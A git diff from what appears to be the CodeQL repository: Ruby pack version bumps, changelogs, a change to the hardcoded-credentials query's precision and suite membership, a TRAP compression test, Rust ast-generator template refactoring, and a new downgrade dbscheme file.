--git a/ruby/ql/integration-tests/compression/test.py b/ruby/ql/integration-tests/compression/test.py new file mode 100644 index 000000000000..6976b063d3e3 --- /dev/null +++ b/ruby/ql/integration-tests/compression/test.py @@ -0,0 +1,26 @@ +import pytest + + +@pytest.mark.parametrize(("compression", "suffix"), [ + pytest.param("none", [], id="none"), + pytest.param("gzip", [".gz"], id="gzip"), + pytest.param("zstd", [".zst"], id="zstd"), +]) +def test(codeql, ruby, compression, suffix, cwd): + codeql.database.create( + _env={ + "CODEQL_EXTRACTOR_RUBY_OPTION_TRAP_COMPRESSION": compression, + } + ) + trap_files = [*(cwd / "test-db" / "trap").rglob("*.trap*")] + assert trap_files, "No trap files found" + expected_suffixes = [".trap"] + suffix + + def is_of_expected_format(file): + return file.name == "metadata.trap.gz" or \ + file.suffixes[-len(expected_suffixes):] == expected_suffixes + + files_with_wrong_format = [ + f for f in trap_files if not is_of_expected_format(f) + ] + assert not files_with_wrong_format, f"Found trap files with wrong format" diff --git a/ruby/ql/integration-tests/query-suite/not_included_in_qls.expected b/ruby/ql/integration-tests/query-suite/not_included_in_qls.expected index ea96d413106e..59aef4e12c1d 100644 --- a/ruby/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/ruby/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -30,6 +30,7 @@ ql/ruby/ql/src/queries/metrics/FLinesOfCode.ql ql/ruby/ql/src/queries/metrics/FLinesOfComments.ql ql/ruby/ql/src/queries/modeling/GenerateModel.ql ql/ruby/ql/src/queries/security/cwe-732/WeakFilePermissions.ql +ql/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql ql/ruby/ql/src/queries/variables/UnusedParameter.ql ql/ruby/ql/src/utils/modeleditor/ApplicationModeEndpoints.ql ql/ruby/ql/src/utils/modeleditor/FrameworkModeAccessPaths.ql diff --git a/ruby/ql/integration-tests/query-suite/ruby-security-and-quality.qls.expected b/ruby/ql/integration-tests/query-suite/ruby-security-and-quality.qls.expected index 604a4c223fbd..0d1af0f29d93 100644 --- a/ruby/ql/integration-tests/query-suite/ruby-security-and-quality.qls.expected +++ b/ruby/ql/integration-tests/query-suite/ruby-security-and-quality.qls.expected @@ -41,7 +41,6 @@ ql/ruby/ql/src/queries/security/cwe-598/SensitiveGetQuery.ql ql/ruby/ql/src/queries/security/cwe-601/UrlRedirect.ql ql/ruby/ql/src/queries/security/cwe-611/Xxe.ql ql/ruby/ql/src/queries/security/cwe-732/WeakCookieConfiguration.ql -ql/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql ql/ruby/ql/src/queries/security/cwe-829/InsecureDownload.ql ql/ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.ql ql/ruby/ql/src/queries/security/cwe-915/MassAssignment.ql diff --git a/ruby/ql/integration-tests/query-suite/ruby-security-extended.qls.expected b/ruby/ql/integration-tests/query-suite/ruby-security-extended.qls.expected index 706b9a9a363a..b2b0a0d7b27e 100644 --- a/ruby/ql/integration-tests/query-suite/ruby-security-extended.qls.expected +++ b/ruby/ql/integration-tests/query-suite/ruby-security-extended.qls.expected @@ -40,7 +40,6 @@ ql/ruby/ql/src/queries/security/cwe-598/SensitiveGetQuery.ql ql/ruby/ql/src/queries/security/cwe-601/UrlRedirect.ql ql/ruby/ql/src/queries/security/cwe-611/Xxe.ql ql/ruby/ql/src/queries/security/cwe-732/WeakCookieConfiguration.ql -ql/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql ql/ruby/ql/src/queries/security/cwe-829/InsecureDownload.ql ql/ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.ql ql/ruby/ql/src/queries/security/cwe-915/MassAssignment.ql diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index f9858668d937..cdd84b3aeeb6 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,19 @@ +## 4.1.8 + +No user-facing changes. + +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + +### Bug Fixes + +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + ## 4.1.6 No user-facing changes. @@ -48,7 +64,7 @@ No user-facing changes. * Deleted the deprecated `ModelClass` and `ModelInstance` classes from `ActiveResource.qll`, use `ModelClassNode` and `ModelClassNode.getAnInstanceReference()` instead. * Deleted the deprecated `Collection` class from `ActiveResource.qll`, use `CollectionSource` instead. * Deleted the deprecated `ServiceInstantiation` and `ClientInstantiation` classes from `Twirp.qll`. -* Deleted a lot of deprecated dataflow modules from "*Query.qll" files. +* Deleted a lot of deprecated dataflow modules from `*Query.qll` files. * Deleted the old deprecated TypeTracking library. ## 3.0.2 diff --git a/ruby/ql/lib/change-notes/released/4.0.0.md b/ruby/ql/lib/change-notes/released/4.0.0.md index 9674020e9ddc..28ccd379dc57 100644 --- a/ruby/ql/lib/change-notes/released/4.0.0.md +++ b/ruby/ql/lib/change-notes/released/4.0.0.md @@ -14,5 +14,5 @@ * Deleted the deprecated `ModelClass` and `ModelInstance` classes from `ActiveResource.qll`, use `ModelClassNode` and `ModelClassNode.getAnInstanceReference()` instead. * Deleted the deprecated `Collection` class from `ActiveResource.qll`, use `CollectionSource` instead. * Deleted the deprecated `ServiceInstantiation` and `ClientInstantiation` classes from `Twirp.qll`. -* Deleted a lot of deprecated dataflow modules from "*Query.qll" files. +* Deleted a lot of deprecated dataflow modules from `*Query.qll` files. * Deleted the old deprecated TypeTracking library. diff --git a/ruby/ql/lib/change-notes/released/4.1.7.md b/ruby/ql/lib/change-notes/released/4.1.7.md new file mode 100644 index 000000000000..00625c5c5d8d --- /dev/null +++ b/ruby/ql/lib/change-notes/released/4.1.7.md @@ -0,0 +1,11 @@ +## 4.1.7 + +### Minor Analysis Improvements + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +### Bug Fixes + +### Bug Fixes + +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. diff --git a/ruby/ql/lib/change-notes/released/4.1.8.md b/ruby/ql/lib/change-notes/released/4.1.8.md new file mode 100644 index 000000000000..4c398b390784 --- /dev/null +++ b/ruby/ql/lib/change-notes/released/4.1.8.md @@ -0,0 +1,3 @@ +## 4.1.8 + +No user-facing changes. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 8b32e3bae01c..8636017292cf 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.6 +lastReleaseVersion: 4.1.8 diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll index 3c1da6f30138..adbec18be640 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll @@ -106,7 +106,6 @@ private predicate writesCapturedVariable(Cfg::BasicBlock bb, LocalVariable v) { * at index `i` in exit block `bb`. */ private predicate capturedExitRead(Cfg::AnnotatedExitBasicBlock bb, int i, LocalVariable v) { - bb.isNormal() and writesCapturedVariable(bb.getAPredecessor*(), v) and i = bb.length() } @@ -485,17 +484,25 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu class Guard extends Cfg::CfgNodes::AstCfgNode { /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. */ - predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { exists(Cfg::SuccessorTypes::ConditionalSuccessor s | this.getBasicBlock() = bb1 and bb2 = bb1.getASuccessor(s) and s.getValue() = branch ) } + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ diff --git a/ruby/ql/lib/codeql/ruby/printAst.qll b/ruby/ql/lib/codeql/ruby/printAst.qll index c15b717610ab..97c7119eae29 100644 --- a/ruby/ql/lib/codeql/ruby/printAst.qll +++ b/ruby/ql/lib/codeql/ruby/printAst.qll @@ -121,17 +121,22 @@ class PrintRegularAstNode extends PrintAstNode, TPrintRegularAstNode { } private int getSynthAstNodeIndex() { - this.parentIsSynthesized() and exists(AstNode parent | shouldPrintAstEdge(parent, _, astNode) and - parent.isSynthesized() and synthChild(parent, result, astNode) ) or - not this.parentIsSynthesized() and + not exists(AstNode parent | + shouldPrintAstEdge(parent, _, astNode) and + synthChild(parent, _, astNode) + ) and result = 0 } + private int getSynthAstNodeIndexForSynthParent() { + if this.parentIsSynthesized() then result = this.getSynthAstNodeIndex() else result = 0 + } + override int getOrder() { this = rank[result](PrintRegularAstNode p, Location l, File f | @@ -140,8 +145,9 @@ class PrintRegularAstNode extends PrintAstNode, TPrintRegularAstNode { | p order by - f.getBaseName(), f.getAbsolutePath(), l.getStartLine(), p.getSynthAstNodeIndex(), - l.getStartColumn(), l.getEndLine(), l.getEndColumn() + f.getBaseName(), f.getAbsolutePath(), l.getStartLine(), + p.getSynthAstNodeIndexForSynthParent(), l.getStartColumn(), p.getSynthAstNodeIndex(), + l.getEndLine(), l.getEndColumn() ) } diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 571ca22b15f8..1ed20c1ddcfd 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.6 +version: 4.1.8 groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index 0a3ce10b979c..fcee47275f5b 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.3.2 + +No user-facing changes. + +## 1.3.1 + +### Minor Analysis Improvements + +* The query `rb/hardcoded-credentials` has been removed from all query suites. + ## 1.3.0 ### Query Metadata Changes diff --git a/ruby/ql/src/change-notes/released/1.3.1.md b/ruby/ql/src/change-notes/released/1.3.1.md new file mode 100644 index 000000000000..8d892f72ed06 --- /dev/null +++ b/ruby/ql/src/change-notes/released/1.3.1.md @@ -0,0 +1,5 @@ +## 1.3.1 + +### Minor Analysis Improvements + +* The query `rb/hardcoded-credentials` has been removed from all query suites. diff --git a/ruby/ql/src/change-notes/released/1.3.2.md b/ruby/ql/src/change-notes/released/1.3.2.md new file mode 100644 index 000000000000..14f14807ef51 --- /dev/null +++ b/ruby/ql/src/change-notes/released/1.3.2.md @@ -0,0 +1,3 @@ +## 1.3.2 + +No user-facing changes. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index ec16350ed6fd..86a9cb32d86b 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.0 +lastReleaseVersion: 1.3.2 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index c7a150408638..d3963ed7ea47 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.0 +version: 1.3.2 groups: - ruby - queries diff --git a/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql b/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql index c568e8d2aafc..bba71760818d 100644 --- a/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql +++ b/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id rb/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/ruby/ql/test/library-tests/ast/Ast.expected b/ruby/ql/test/library-tests/ast/Ast.expected index 294edfdab1e6..6263cb8919b5 100644 --- a/ruby/ql/test/library-tests/ast/Ast.expected +++ b/ruby/ql/test/library-tests/ast/Ast.expected @@ -3185,14 +3185,14 @@ params/params.rb: # 106| getParameter: [HashSplatParameter] **kwargs # 106| getDefiningAccess: [LocalVariableAccess] kwargs # 107| getStmt: [SuperCall] super call to m -# 107| getArgument: [HashSplatExpr] ** ... -# 107| getAnOperand/getOperand/getReceiver: [LocalVariableAccess] kwargs +# 107| getArgument: [LocalVariableAccess] y +# 107| getArgument: [SplatExpr] * ... +# 107| getAnOperand/getOperand/getReceiver: [LocalVariableAccess] rest # 107| getArgument: [Pair] Pair # 107| getKey: [SymbolLiteral] k # 107| getValue: [LocalVariableAccess] k -# 107| getArgument: [SplatExpr] * ... -# 107| getAnOperand/getOperand/getReceiver: [LocalVariableAccess] rest -# 107| getArgument: [LocalVariableAccess] y +# 107| getArgument: [HashSplatExpr] ** ... +# 107| getAnOperand/getOperand/getReceiver: [LocalVariableAccess] kwargs # 111| getStmt: [MethodCall] call to m # 111| getReceiver: [MethodCall] call to new # 111| getReceiver: [ConstantReadAccess] Sub diff --git a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb index 7f3252a58fdc..ae40573c5c18 100644 --- a/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb +++ b/ruby/ql/test/query-tests/variables/DeadStoreOfLocal/DeadStoreOfLocal.rb @@ -33,4 +33,34 @@ def m(y) y = 3 # OK - the call to `super` sees the value of `y`` super end +end + +def do_twice + yield + yield +end + +def get_done_twice x + do_twice do + print x + x += 1 # OK - the block is executed twice + end +end + +def retry_once + yield +rescue + yield +end + +def get_retried x + retry_once do + print x + if x < 1 + begin + x += 1 # OK - the block may be executed again + raise StandardError + end + end + end end \ No newline at end of file diff --git a/rust/ast-generator/BUILD.bazel b/rust/ast-generator/BUILD.bazel index 7d0105ac456d..24d429cbede9 100644 --- a/rust/ast-generator/BUILD.bazel +++ b/rust/ast-generator/BUILD.bazel @@ -46,8 +46,7 @@ codeql_rust_binary( ) + [":codegen"], aliases = aliases(), args = ["$(rlocationpath :rust.ungram)"], - compile_data = glob(["src/templates/*.mustache"]), - data = [":rust.ungram"], + data = [":rust.ungram"] + glob(["templates/*.mustache"]), proc_macro_deps = all_crate_deps( proc_macro = True, ), diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index 3f1613573df2..83999711161d 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -144,6 +144,7 @@ fn fix_blank_lines(s: &str) -> String { fn write_schema( grammar: &AstSrc, super_types: BTreeMap>, + mustache_ctx: &mustache::Context, ) -> mustache::Result { let mut schema = Schema::default(); schema.classes.extend( @@ -158,7 +159,7 @@ fn write_schema( .iter() .map(|node| node_src_to_schema_class(node, &super_types)), ); - let template = mustache::compile_str(include_str!("templates/schema.mustache"))?; + let template = mustache_ctx.compile_path("schema")?; let res = template.render_to_string(&schema)?; Ok(fix_blank_lines(&res)) } @@ -543,7 +544,7 @@ fn node_to_extractor_info(node: &AstNodeSrc) -> ExtractorNodeInfo { } } -fn write_extractor(grammar: &AstSrc) -> mustache::Result { +fn write_extractor(grammar: &AstSrc, mustache_ctx: &mustache::Context) -> mustache::Result { let extractor_info = ExtractorInfo { enums: grammar .enums @@ -552,7 +553,7 @@ fn write_extractor(grammar: &AstSrc) -> mustache::Result { .collect(), nodes: grammar.nodes.iter().map(node_to_extractor_info).collect(), }; - let template = mustache::compile_str(include_str!("templates/extractor.mustache"))?; + let template = mustache_ctx.compile_path("extractor")?; let res = template.render_to_string(&extractor_info)?; Ok(fix_blank_lines(&res)) } @@ -580,8 +581,13 @@ fn main() -> anyhow::Result<()> { let super_class_y = super_types.get(&y.name).into_iter().flatten().max(); super_class_x.cmp(&super_class_y).then(x.name.cmp(&y.name)) }); - let schema = write_schema(&grammar, super_types)?; - let schema_path = project_root().join("schema/ast.py"); + let root = project_root(); + let mustache_ctx = mustache::Context { + template_path: root.join("ast-generator").join("templates"), + template_extension: "mustache".to_string(), + }; + let schema = write_schema(&grammar, super_types, &mustache_ctx)?; + let schema_path = root.join("schema/ast.py"); codegen::ensure_file_contents( crate::flags::CodegenType::Grammar, &schema_path, @@ -589,7 +595,7 @@ fn main() -> anyhow::Result<()> { false, ); - let extractor = write_extractor(&grammar)?; + let extractor = write_extractor(&grammar, &mustache_ctx)?; let extractor_path = project_root().join("extractor/src/translate/generated.rs"); codegen::ensure_file_contents( crate::flags::CodegenType::Grammar, diff --git a/rust/ast-generator/src/templates/extractor.mustache b/rust/ast-generator/templates/extractor.mustache similarity index 60% rename from rust/ast-generator/src/templates/extractor.mustache rename to rust/ast-generator/templates/extractor.mustache index c83881027bb5..b94f8a6043a7 100644 --- a/rust/ast-generator/src/templates/extractor.mustache +++ b/rust/ast-generator/templates/extractor.mustache @@ -1,40 +1,44 @@ //! Generated by `ast-generator`, do not edit by hand. -¶{{! <- denotes empty line that should be kept, all blank lines are removed otherwise}} -#![cfg_attr(any(), rustfmt::skip)] -¶ + use super::base::Translator; use super::mappings::TextValue; -use crate::emit_detached; +use crate::{pre_emit,post_emit}; use crate::generated; use crate::trap::{Label, TrapId}; use ra_ap_syntax::ast::{ HasArgList, HasAttrs, HasGenericArgs, HasGenericParams, HasLoopBody, HasModuleItem, HasName, HasTypeBounds, HasVisibility, RangeItem, }; -use ra_ap_syntax::{ast, AstNode}; -¶ +#[rustfmt::skip] +use ra_ap_syntax::{AstNode, ast}; + impl Translator<'_> { - fn emit_else_branch(&mut self, node: ast::ElseBranch) -> Option> { + fn emit_else_branch(&mut self, node: &ast::ElseBranch) -> Option> { match node { ast::ElseBranch::IfExpr(inner) => self.emit_if_expr(inner).map(Into::into), ast::ElseBranch::Block(inner) => self.emit_block_expr(inner).map(Into::into), } } {{#enums}} -¶ - pub(crate) fn emit_{{snake_case_name}}(&mut self, node: ast::{{ast_name}}) -> Option> { - match node { + + pub(crate) fn emit_{{snake_case_name}}(&mut self, node: &ast::{{ast_name}}) -> Option> { + pre_emit!({{name}}, self, node); + let label = match node { {{#variants}} ast::{{ast_name}}::{{variant_ast_name}}(inner) => self.emit_{{snake_case_name}}(inner).map(Into::into), {{/variants}} - } + }?; + post_emit!({{name}}, self, node, label); + Some(label) } {{/enums}} {{#nodes}} -¶ - pub(crate) fn emit_{{snake_case_name}}(&mut self, node: ast::{{ast_name}}) -> Option> { + + pub(crate) fn emit_{{snake_case_name}}(&mut self, node: &ast::{{ast_name}}) -> Option> { + pre_emit!({{name}}, self, node); + if self.should_be_excluded(node) { return None; } {{#has_attrs}} - if self.should_be_excluded(&node) { return None; } + if self.should_be_excluded_attrs(node) { return None; } {{/has_attrs}} {{#fields}} {{#predicate}} @@ -44,10 +48,10 @@ impl Translator<'_> { let {{name}} = node.try_get_text(); {{/string}} {{#list}} - let {{name}} = node.{{method}}().filter_map(|x| self.emit_{{snake_case_ty}}(x)).collect(); + let {{name}} = node.{{method}}().filter_map(|x| self.emit_{{snake_case_ty}}(&x)).collect(); {{/list}} {{#optional}} - let {{name}} = node.{{method}}().and_then(|x| self.emit_{{snake_case_ty}}(x)); + let {{name}} = node.{{method}}().and_then(|x| self.emit_{{snake_case_ty}}(&x)); {{/optional}} {{/fields}} let label = self.trap.emit(generated::{{name}} { @@ -56,9 +60,9 @@ impl Translator<'_> { {{name}}, {{/fields}} }); - self.emit_location(label, &node); - emit_detached!({{name}}, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!({{name}}, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } {{/nodes}} diff --git a/rust/ast-generator/src/templates/schema.mustache b/rust/ast-generator/templates/schema.mustache similarity index 100% rename from rust/ast-generator/src/templates/schema.mustache rename to rust/ast-generator/templates/schema.mustache diff --git a/rust/codegen/BUILD.bazel b/rust/codegen/BUILD.bazel index e1b51ca36614..04d380f8cc3a 100644 --- a/rust/codegen/BUILD.bazel +++ b/rust/codegen/BUILD.bazel @@ -7,6 +7,7 @@ _args = [ "//rust/ast-generator:Cargo.toml", "//misc/codegen", "//rust:codegen-conf", + "@rules_rust//tools/rustfmt:upstream_rustfmt", ] sh_binary( diff --git a/rust/codegen/codegen.sh b/rust/codegen/codegen.sh index c1d160f314bd..2d415009aed8 100755 --- a/rust/codegen/codegen.sh +++ b/rust/codegen/codegen.sh @@ -9,7 +9,9 @@ grammar_file="$(rlocation "$2")" ast_generator_manifest="$(rlocation "$3")" codegen="$(rlocation "$4")" codegen_conf="$(rlocation "$5")" -shift 5 +rustfmt="$(rlocation "$6")" +shift 6 CARGO_MANIFEST_DIR="$(dirname "$ast_generator_manifest")" "$ast_generator" "$grammar_file" +"$rustfmt" "$(dirname "$ast_generator_manifest")/../extractor/src/translate/generated.rs" "$codegen" --configuration-file="$codegen_conf" "$@" diff --git a/rust/codeql-extractor.yml b/rust/codeql-extractor.yml index 1c73a070e587..c7785e5f8c72 100644 --- a/rust/codeql-extractor.yml +++ b/rust/codeql-extractor.yml @@ -23,10 +23,11 @@ options: title: Controls compression for the TRAP files written by the extractor. description: > This option is only intended for use in debugging the extractor. Accepted - values are 'gzip' (to write gzip-compressed TRAP) and 'none' - (currently the default, to write uncompressed TRAP). + values are 'gzip' (to write gzip-compressed TRAP) 'zstd' (to write + Zstandard-compressed TRAP) and 'none' (the default, to write uncompressed + TRAP). type: string - pattern: "^(none|gzip)$" + pattern: "^(none|gzip|zstd)$" cargo_target_dir: title: Directory to use for cargo output files. description: > @@ -44,9 +45,10 @@ options: cargo_features: title: Cargo features to turn on description: > - Comma-separated list of features to turn on. If any value is `*` all features - are turned on. By default only default cargo features are enabled. Can be - repeated. + Comma-separated list of features to turn on. By default all features are enabled. + If any features are specified, then only those features are enabled. The `default` + feature must be explicitly specified if only default features are desired. + Can be repeated. type: array cargo_cfg_overrides: title: Cargo cfg overrides @@ -82,3 +84,11 @@ options: title: Skip path resolution description: > Skip path resolution. This is experimental, while we move path resolution from the extractor to the QL library. + type: string + pattern: "^(false|true)$" + extract_dependencies_as_source: + title: Extract dependencies as source code + description: > + Extract the full source code of dependencies instead of only extracting signatures. + type: string + pattern: "^(false|true)$" diff --git a/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme b/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme new file mode 100644 index 000000000000..2df29df1bf8f --- /dev/null +++ b/rust/downgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme @@ -0,0 +1,3612 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] 